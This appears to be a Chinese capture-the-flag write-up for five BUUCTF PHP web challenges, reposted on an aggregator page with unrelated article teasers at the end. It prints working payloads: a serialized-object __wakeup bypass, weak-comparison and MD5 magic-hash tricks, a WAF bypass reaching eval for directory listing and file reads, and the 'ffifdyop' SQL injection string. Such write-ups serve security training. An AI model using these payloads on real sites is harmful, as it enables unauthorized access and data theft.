BUUCTF-Web方向16-20wp

news/2025/2/22 13:50:44

目录

    • [极客大挑战 2019]PHP
    • [ACTF2020 新生赛]BackupFile
    • [RoarCTF 2019]Easy Calc
    • [极客大挑战 2019]BuyFlag
    • [BJDCTF2020]Easy MD5

[极客大挑战 2019]PHP

由内容提示应该存在源码备份,常见的如下,一个个尝试

后缀:tar tar.gz zip rar
名字:www web website backup back wwwroot temp

访问www.zip,下载下来

解压查看

index.php

flag.php

class.php

<?php
include 'flag.php';

error_reporting(0);

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
            
        }
    }
}
?>

写一个脚本构造

<?php
class Name{
    private $username = 'admin';
    private $password = 100;
}
$A=new Name();
echo serialize($A);
?>

结果如下

O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
  • 这里需要绕过**__wakeup**函数,而__wakeup函数存在一个特性,当成员属性数目大于实际数目时才可绕过wakeup
  • 由于序列化的存在空字符,故需要**%00来代替,即空字符的url编码**
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

拿到flag

[ACTF2020 新生赛]BackupFile

题目提示备份文件

后缀:tar tar.gz zip rar
名字:www web website backup back wwwroot temp

除了以上这些,还有**.bak/.swp/.old**,都可以试试

这里使用dirsearch扫出来index.php.bak文件,下载下来

使用记事本打开

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {           //检查是否为数字
        exit("Just num!");
    }
    $key = intval($key);             //将变量转换为整数,eg:intval("cat12")=0  intval("3.14")=3
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {               //注意这里的==符号
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

由于**==的特性,php是一种弱语言,所以在比较的时候,会自动将字符串转换为数字比较,即123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3=123**,这里可以查看intval函数的转换机制

?key=123
?key=123e4     //123*e的4次方,但是经过转换是123

得到flag

[RoarCTF 2019]Easy Calc

打开环境,输入1+1试试

查看源码,发现calc.php,并且注释提示有waf

访问看看,代码如下

<?php
error_reporting(0);
if(!isset($_GET['num'])){                          //isset:检测变量是否存在
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];  //黑名单
        foreach ($blacklist as $blackitem) {             //blackitem在blacklist中遍历,每次调用的值进入if语句比对
                if (preg_match('/' . $blackitem . '/m', $str)) {       //检测$str是否包含黑名单里的字符串
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?> 

当我们输入被过滤的字符时,返回结果不是**“what are you want to do?”,而是如下结果,应该被waf绕过**了

测试发现可以解析数字,如果带有字符则会被过滤,尝试绕过waf并查看根目录,在num参数前添加空格绕过是为了将**? num解析成?num**即正常,绕过字符串无法解析

  • var_dump():打印字符串
  • scandir():查看指定目录并返回该目录中的文件和子目录的名称
url? num=var_dump(scandir(chr(47)))     //chr(47)= /  是ascii码
url?+num=var_dump(scandir(chr(47)))
url?/**/num=var_dump(scandir(chr(47)))

查找到f1agg

此时我们需要构造 /f1agg

chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)

file_get_contents():读取文件的内容并将其作为字符串返回

得到flag

[极客大挑战 2019]BuyFlag

打开环境,查看源码

访问该链接

看看源码,得到下面这个信息

	~~~post money and password~~~               //利用post方式传入money和password
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {               //password必须是纯数字
		echo "password can't be number</br>";
	}elseif ($password == 404) {             //password为404,因为是==号,所以可用404ad绕过,会解析为404
		echo "Password Right!</br>";
	}
}

抓包看看

注意cookie这个地方,查看gpt

image-20250221165639951

结合回显,需要我们是学生身份,将user=0改为user=1

此时回显,数字太长了,用科学计数法表示,在php中,1e9实际等于1*10的9次方

[BJDCTF2020]Easy MD5

打开环境,一个输入框,看看源码和网络信息,有个提示:

select * from 'admin' where password=md5($pass,true)   //$pass经过md5加密后,如果可用转换回二进制则转换,否则转换回16进制

随意输入看看,有一个传参点password

这里介绍一个万能密码-ffifdyop,经过md5加密后的值再解密为16进制是**'or’6É]™é!r,ùíb**,可用进行sql注入

成功进入

$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){      //因为是弱比较,故需要a!=b但是md5值相同的
    // wow, glzjin wants a girl friend.
}

利用a=240610708&b=QNKCDZO绕过

看看源码:

 <?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){   //强比较
    echo $flag;
} 

利用数组绕过


http://www.niftyadmin.cn/n/5862347.html

相关文章

第30篇 基于ARM A9处理器用C语言实现中断<六>

Q&#xff1a;怎样设计基于ARM A9处理器的C语言程序在数码管上滚动显示字符&#xff1f; A&#xff1a;使用A9 Private Timer中断源&#xff0c;控制字符滚动的速度&#xff1b;按键产生中断可以控制字符暂停/继续滚动。 本实验在DE1-SoC开发板的6个七段数码管*HEX5~HEX0*上…

【文件夹合并——树链剖分,树状数组】

题目 复杂度 代码 #pragma GCC optimize(3)#include <bits/stdc.h> using namespace std; using ll long long;const int N 5e5 10; const int M 1e6 10;int n, m; vector<int> sub[N]; // 子文件夹 ll d[N]; …

IO模型与NIO基础--NIO网络传输选择器--字符编码

放进NIO体系进行网络编程的工作流程&#xff1a; Selector的创建 通过调用Selector.open()方法创建一个Selector&#xff0c;如下&#xff1a; Selector selector Selector.open(); 向Selector注册通道 通过Channel.register()方法来实现&#xff0c; 注意&#xff1a;Chan…

Canvas进阶-4、边界检测(流光,鼠标拖尾)

1. 什么是边界检测&#xff1f; 在之前的开发中&#xff0c;物体在运动过程中一旦超出画布&#xff0c;就会消失&#xff0c;今天学习如何去检测是否碰到了边界&#xff0c;碰到边界后又会有哪些处理的办法。 边界检测&#xff0c;就是物体运动的限制范围。边界检测的范围&…

[实现Rpc] Dispatcher类的实现 | 开闭原则 | 测试 | 传gitee

目录 程序设计原则 说明 Dispatcher Callback 类 CallbackT 类 Dispatcher 类 测试 client server Debug ⭕参数传递错误 排查方法&#xff1a; 运行 记录&#xff1a; &#xff08;1&#xff09;Dispatcher类的功能&#xff1a; 注册消息的类型。回调函数映射关…

二叉树层序遍历的三种情况(总结)

这道题就是一个比较简单的层序遍历&#xff0c;只需要利用队列存放二叉树结点&#xff0c;队列的size代表每层的节点数也就是平均值的除数&#xff0c;利用一个结果数组记录每层平均值&#xff0c;最后返回。 需要注意的是&#xff0c;平均值定义成double类型。 代码如下&…

通信系统中物理层与网络层联系与区别

在通信系统中&#xff0c;物理层和网络层是OSI&#xff08;开放系统互连&#xff09;模型中的两个重要层次&#xff0c;分别位于协议栈的最底层和第三层。它们在功能、职责和实现方式上有显著的区别&#xff0c;但同时也在某些方面存在联系。以下是物理层与网络层的联系与区别的…

进程(2)

1.进程的消亡 &#xff08;1&#xff09;进程的退出 &#xff08;2&#xff09;进程资源的回收 僵尸进程&#xff1a;进程已经结束&#xff0c;但是未被其父进程回收。 如何避免僵尸进程&#xff1a; 2.函数 &#xff08;1&#xff09;void exit(int status) (2)pid_t wait…